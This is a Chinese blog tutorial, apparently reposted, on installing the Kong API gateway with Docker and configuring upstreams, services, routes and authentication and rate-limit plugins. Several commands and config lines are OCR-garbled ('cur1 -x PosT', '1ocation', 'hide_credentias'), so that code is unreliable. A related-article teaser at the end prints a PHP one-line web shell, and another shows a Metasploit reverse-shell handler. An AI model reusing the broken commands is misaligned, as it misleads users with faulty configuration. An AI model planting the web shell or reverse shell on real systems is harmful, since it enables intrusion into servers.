Kong api网关实战教程

1. kong介绍

Kong是一款基于OpenResty(Nginx+Lua模块)编写的高可用、易扩展的,由Mashape公司开源的API Gateway项目。Kong是基于NGINX和Apache Cassandra或PostgresQL构建的,能据供易于使用的RSTTAP[来操作和配置API管理系统,所以它可以水平扩展多个Kong服务器,通过前置的负载均衡配置把请求均匀地分发到名今Senver,来应对大批量的网络请求。

在这里插入图片描述

2. Kong 架构

  1. 组件架构
1. Kong server:基于nginx服务器,用来接收api请求
2. Apache cassandra/postgresql 存储数据。
3. Kong dashboard: 官方推荐ul管理工具,

Kong采用插件机制进行功能定制,插件集(可以0或N个)在API请求响应循环的生命周期中被执行。插件使用Lua编写,目前已有几个基础功能:HTTP基本认证、密钥认证、CORs(Cross-Origin Resource sharing,跨域资源共享)、TCP、UDP、文件日志、API请求限流、请求转发以及Nginx监控。

2. 网关架构

- RESTFul APis--------->管理api的入口
- Kong 插件层--------->基于lua语言开发,支持第三方插件,拦截请求/响应生命周期
- 集群&数据存储
- OPenResty--------->kong 网关的底层引擎,提供响应周期的hooks,对nginx服务进行扩容
- Nginx
  1. Kong核心基于OpenResty构建,实现了请求/响,应的Lua处理化,
  2. Kong插件拦截请求/响应;
  3. Kong Restful 管理AP!提供了APIAPI消费者/插件的管理:
  4. 数据中心用于存储Kong集群节点信息、AP1、消费者、插件等信息,目前提供了PostgresQL和Cassandra支持,如果需要高可用建议使用Cassandra;
  5. Kong集群中的节点通过gossip协议自动发现其他节点,当通过一个Kong节点的管理AP!进行一些变更时也会通知其他节点。每个Kong节点的配置信息是会缓存的,如插件,那么当在某一个Kong节点修改了插件配置时,需要通知其他节点配置的变更。

3. kong的安装使用

https://blog.csdn.net/qq_39962403/article/details/135777218

官方安装说明文档

https://docs.konghq.com/gateway/latest/  #kong版本说明
https://docs.konghq.com/gateway/3.6.x/install/linux/rhel/  #安装luninx版本
https://docs.konghq.com/gateway/3.6.x/install/docker/  #docker安装
https://www.postgresql.org/download/linux/redhat/  #pgsql安装说明

[图片]

安装kong数据
docker network create kong-net
docker run -d --name kong-database \--network=kong-net \-p 5432:5432 \-e "POSTGRES_USER=kong" \-e "POSTGRES_DB=kong" \-e "POSTGRES_PASSWORD=kong" \postgres:9.6
kong数据初始化
docker run --rm \--network=kong-net \-e "KONG_DATABASE=postgres" \-e "KONG_PG_HOST=kong-database" \-e "KONG_PG_USER=kong" \-e "KONG_PG_PASSWORD=kong" \-e "KONG_CASSANDRA_CONTACT_POINTS=kong-database" \kong:2.0.3 kong migrations bootstrap

安装kong服务

docker run -d --name kong \--network=kong-net \-e "KONG_DATABASE=postgres" \-e "KONG_PG_HOST=kong-database" \-e "KONG_PG_USER=kong" \-e "KONG_PG_PASSWORD=kong" \-e "KONG_CASSANDRA_CONTACT_POINTS=kong-database" \-e "KONG_PROXY_ACCESS_LOG=/dev/stdout" \-e "KONG_ADMIN_ACCESS_LOG=/dev/stdout" \-e "KONG_PROXY_ERROR_LOG=/dev/stderr" \-e "KONG_ADMIN_ERROR_LOG=/dev/stderr" \-e "KONG_ADMIN_LISTEN=0.0.0.0:8001, 0.0.0.0:8444 ssl" \-p 8000:8000 \-p 8443:8443 \-p 8001:8001 \-p 8444:8444 \kong:2.0.3
验证
http://172.16.226.7:8001/

**默认情况下kong 绑定了四个4端口

  • Proxy 8000: 接收客户端的http请求,并转发到后端的upstream
  • Proxy 8443: 接收客户端的https请求,并转发到后端的upstream
  • admin 8001: 接收管理员的http请求,进行kong的管理
  • admin 8444:接收管理员的https请求,进行kong的管理**
安装kong-ui控制台
docker volume create konga-postgresql
安装kong-ui数据看
docker run -d --name konga-database \--network=kong-ee-net \-p 5433:5432 \-v konga-postgresql:/var/lib/postgresql/data \-e "POSTGRES_USER=konga" \-e "POSTGRES_DB=konga" \-e "POSTGRES_PASSWORD=konga" \postgres:9.6
初始化kong-ui数据看
docker run --rm --network=kong-ee-net \
pantsel/konga:latest \
-c prepare \
-a postgres \
-u postgres://konga:konga@konga-database:5432/konga
启动kong-ui 服务
docker run -d -p 1337:1337 \--name konga \--network=kong-ee-net \-e "DB_ADAPTER=postgres" \-e "DB_URI=postgres://konga:konga@konga-database:5432/konga" \-e "NODE_ENV=production" \-e "DB_PASSWORD=konga" \pantsel/konga

登陆验证

http://172.16.226.7:1337/#!/connections

4. kong的使用

Nginx 下的负载均衡配置

upstream tulingma11-product-upstream {server 192.168.65.190:8866 weight=100;server 192.168.65.190:8867 weight=100;}
server {listen 80;1ocation /pms/ {proxy_pass http://tulingma11-product-upstream;}
}
kong组件介绍

kong组件
说明
service

service 对应服务,可以直接指向一个 AP| 服务节点(host 参数设置为 ip+ port),也可以指定一个upstream 实现负载均衡。简单来说,服务用于映射被转发的后端 API的节点集合

route

route 对应路由,它负责匹配实际的请求,映射到 service

upstream

upstream 对应一组 API 节点,实现负载均衡

target

target 对应一个 AP| 节点

在这里插入图片描述

创建upstream

调用kong api创建一个名为demo-upstream的upstream
api操作

 curl  -X  POST  http://172.16.226.7:8001/upstreams  --data "name=demo-upstream"

在这里插入图片描述

界面操作
在这里插入图片描述

创建target

api操作

 curl  -X  POST  http://172.16.226.7:8001/upstreams/demo-upstream/targets  --data "target=172.16.226.13:80" --data "weight=100"

在这里插入图片描述

[图片]
界面操作
在这里插入图片描述

创建service

api操作

 curl  -X  POST  http://172.16.226.7:8001/services --data "name=demo-upstream" --data "host=demo-upstream" --data "path=/pms"

在这里插入图片描述

[图片]
界面操作
在这里插入图片描述

创建route

api操作

 curl  -X  POST  http://172.16.226.7:8001/services/demo-upstream/routes --data "name=demo-upstream"  --data "paths[]=/pms"

界面操作
在这里插入图片描述

验证测试返回结果一致
http://172.16.226.13/
http://172.16.226.7:8000/pms

在这里插入图片描述
在这里插入图片描述

5. 基本插件的使用

https://www.bilibili.com/video/BV1jY411p7qm?p=5&spm_id_from=pageDriver&vd_source=37f81c1b36b3818cbad621bcbe5c3e49

配置Basic Auth插件
#在服务上配置插件

cur1 -x POST http://127.0.0.1:8001/services/{service}/plugins \
--data "name=basic-auth" \
--data "config.hide_credentias=true"

#在路由上配置插件

cur1 -x PosT http://127.0.0.1:8001/routes/{route_id}/plugins\
--data "name=basic-auth"
--data "config.hide_credentials=true"

在这里插入图片描述
在这里插入图片描述

JWT身份认证

在这里插入图片描述
service纬度添加
在这里插入图片描述
routes维度添加
在这里插入图片描述
consumers维度添加
在这里插入图片描述
在这里插入图片描述

Kong限流配置

Kong 提供了 Rate Limiting,插件,实现对请求的限流功能,避免过人的请求量过大,将后端服务打挂,
Rate limiting 支持秒!分/小时/日/月/年多种时间维度的限流,并且可以组合使用。例如说:限制每秒最多 100 次请求,并且每分钟最多1000 次请求。
Rate limiting 支持 consumer、credentia1、ip 三种基础维度的限流,默认为 consumer。例如说:设置每个IP 允许每秒请求的次数。计数的存储,支持使用 loca1、cluster、redis 三种方式进行存储,默认为 cluster :

  • 1oca1:存储在 Nginx 本地,实现单实例限流
  • c1uster:存储在 Cassandra 或 PostgresQL 数据库,实现集群限流
  • redis :存储在 Redis 数据库,实现集群限流。
    Rate limiting,采用的限流算法是计数器的方式,所以无法提供类似令牌桶算法的平滑限流能力。
    在这里插入图片描述
    在这里插入图片描述
    配置每秒通过一个请求超过阈值报错
    在这里插入图片描述
    黑白名单配置
    在这里插入图片描述
    在这里插入图片描述
    配置路由上的插件需要查询 router_id,查询方法 http://172.16.226.7:8001/routes
    在这里插入图片描述
    在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/19178.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【上】王树森《小红书推荐系统公开课》- 课程笔记(推荐系统基础、召回、排序)

写在前面 本文为王树森老师《小红书推荐系统公开课》的课程笔记 课程来源:ShusenWang的个人空间-ShusenWang个人主页-哔哩哔哩视频 (bilibili.com)课程资料:GitHub - wangshusen/RecommenderSystem 由于篇幅较长,分为【上】【下】两篇文章…

【busybox记录】【shell指令】unlink

目录 内容来源: 【GUN】【unlink】指令介绍 【busybox】【unlink】指令介绍 【linux】【unlink】指令介绍 使用示例: 删除文件 - 默认 常用组合指令: 指令不常用/组合用法还需继续挖掘: 内容来源: GUN &#x…

深入解析Web前端三大主流框架:Angular、React和Vue

Web前端三大主流框架分别是Angular、React和Vue。下面我将为您详细介绍这三大框架的特点和使用指南。 Angular 核心概念: 组件(Components): 组件是Angular应用的构建块,每个组件由一个带有装饰器的类、一个HTML模板、一个CSS样式表组成。组件通过输入(@Input)和输出(…

【OrangePi AIpro】开箱初体验以及OAK深度相机测试

1. 简介 Orangepi AIPRO 是一款采用昇腾AI技术路线,集成4核64位处理器AI处理器的单板计算机,集成图形处理器,支持8TOPS AI算力,拥有8GB/16GB LPDDR4X,可以外接eMMC模块,支持双4K高清输出。 Orange Pi AIpr…

数字图像处理系列 | 线性滤波(高斯滤波)(3)

我们知道了什么是 线性平移不变系统是在做卷积操作 之后,我们发展出了一些非常简单的 线性滤波, 去增强图片,提取图片特征 文章目录 1. 卷积如何在离散图片中工作的Vis 原图和mask做卷积时发生了什么首先,如何得到 (i.j)位置的卷积…

操作系统中的内存管理

虚拟内存 操作系统会提供一种机制,将不同进程的虚拟地址和不同内存的物理地址映射起来。如果程序要访问虚拟地址的时候,由操作系统转换成不同的物理地址,这样不同的进程运行的时候,写入的是不同的物理地址,这样就不会冲…

Slurm集群使用基础

Introduction 我们在做生物信息分析时,对于大规模的上游数据的处理,一般需要在大型服务器或集群上进行。我最早接触并使用的是一个基于SLURM调度系统的集群,在此记录一下基础使用方法。 高性能计算集群(High-Performance Comput…

【渗透测试】|文件上传

1、安装使用蚁剑 https://blog.csdn.net/weixin_42474304/article/details/116376746 1、登陆dvwa,进入初级文件上传&#xff0c;上传一句话木马文件cmd.php&#xff0c; //cmd.php <?php eval($_POST[ccit]); ?> //eval: 执行命令的函数 //ccit:一句话木马文件的参数…

渗透测试工具Cobalt strike-2.CS基础使用

三、结合metasploit,反弹shell 在kali中开启使用命令开启metasploit msfconsole ┌──(root㉿oldboy)-[~] └─# msfconsole --- msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp --- msf6 exploit(multi/handler) > show …

什么是访问控制漏洞

什么是AC Bugs&#xff1f; 实验室 Vertical privilege escalation 仅通过隐藏目录/判断参数来权限控制是不安全的&#xff08;爆破url/爬虫/robots.txt/Fuzz/jsfinder&#xff09; Unprotected functionality 访问robots.txt 得到隐藏目录&#xff0c;访问目录 &#xff0c;…

基于Visual Studio版本的AI编程助手

Visual Studio 是一个出色的 IDE,可用于构建适用于 Windows、Mac、Linux、iOS 和 Android 的丰富、精美的跨平台应用程序。 使用一系列技术(例如 WinForms、WPF、WinUI、MAUI 或 Xamarin)构建丰富。 1、安装 点击上方工具栏拓展选项,选择管理拓展选项 接着在联机页面中搜索&q…

基于51单片机的室内空气质量检测-仿真设计

本设计是基于单片机的空气质量检测设计&#xff0c;主要实现以下功能&#xff1a; 可实现通过SGP30测量二氧化碳及甲醛浓度&#xff0c;当超过设置的最大值时&#xff0c;进行报警及通风和净化空气处理 可实现通过MQ-4测量甲烷浓度&#xff0c;当超过设置的最大值时&#xff0…

压力测试JMeter

压力测试JMeter 1 下载JMeter1.1 测试计划1.2 JMeter Address Already in use 错误解决1.3 java 内存模型1.4 jconsole与jvisualvm1.5 优化方向1.6 Nginx动静分离 1 下载JMeter 官网地址&#xff1a;https://jmeter.apache.org/download_jmeter.cgi 运行apache-jmeter-5.6.3\…

HaloDB 的 Oracle 兼容模式

↑ 关注“少安事务所”公众号&#xff0c;欢迎⭐收藏&#xff0c;不错过精彩内容~ 前倾回顾 前面介绍了“光环”数据库的基本情况和安装办法。 哈喽&#xff0c;国产数据库&#xff01;Halo DB! 三步走&#xff0c;Halo DB 安装指引 ★ HaloDB是基于原生PG打造的新一代高性能安…

代码随想录训练营Day 43|力扣343. 整数拆分、96.不同的二叉搜索树

1.整数拆分 代码随想录 视频讲解&#xff1a;动态规划&#xff0c;本题关键在于理解递推公式&#xff01;| LeetCode&#xff1a;343. 整数拆分_哔哩哔哩_bilibili 代码&#xff1a; class Solution { public:int integerBreak(int n) {// dp[i] 拆分数字i所获得的最大乘积为d…

景源畅信:抖音小店如何开橱窗?

在当今数字化时代&#xff0c;社交媒体平台不仅仅是人们交流和分享生活的工具&#xff0c;更成为了商家们展示和销售产品的重要场所。抖音作为一款流行的短视频社交应用&#xff0c;其内置的电商功能——抖音小店&#xff0c;为众多商家和个人提供了便捷的在线销售途径。其中&a…

使用NuScenes数据集生成ROS Bag文件:深度学习与机器人操作的桥梁

在自动驾驶、机器人导航及环境感知的研究中&#xff0c;高质量的数据集是推动算法发展的关键。NuScenes数据集作为一项开源的多模态自动驾驶数据集&#xff0c;提供了丰富的雷达、激光雷达&#xff08;LiDAR&#xff09;、摄像头等多种传感器数据&#xff0c;是进行多传感器融合…

jmeter多用户并发登录教程

有时候为了模拟更真实的场景&#xff0c;在项目中需要多用户登录操作&#xff0c;大致参考如下 jmx脚本&#xff1a;百度网盘链接 提取码&#xff1a;0000 一&#xff1a; 单用户登录 先使用1个用户登录&#xff08;先把1个请求调试通过&#xff09; 发送一个登录请求&…

贪心(临项交换)+01背包,蓝桥云课 搬砖

一、题目 1、题目描述 2、输入输出 2.1输入 2.2输出 3、原题链接 0搬砖 - 蓝桥云课 (lanqiao.cn) 二、解题报告 1、思路分析 将物品按照w[i] v[i]升序排序然后跑01背包就是答案 下面证明&#xff1a;&#xff08;不要问怎么想到的&#xff0c;做题多了就能想到&#xff…

AVB协议分析(一) FQTSS协议介绍

FQTSS协议介绍 一、AVB整体架构二、概述三、协议作用及作用对象四、协议的实现五、参考文献&#xff1a; 一、AVB整体架构 可见FQTSS位于MAC层的上面&#xff0c;代码看不懂&#xff0c;咱们就从最底层开始&#xff0c;逐层分析协议&#xff0c;逐个击破&#xff0c;慢就是快。…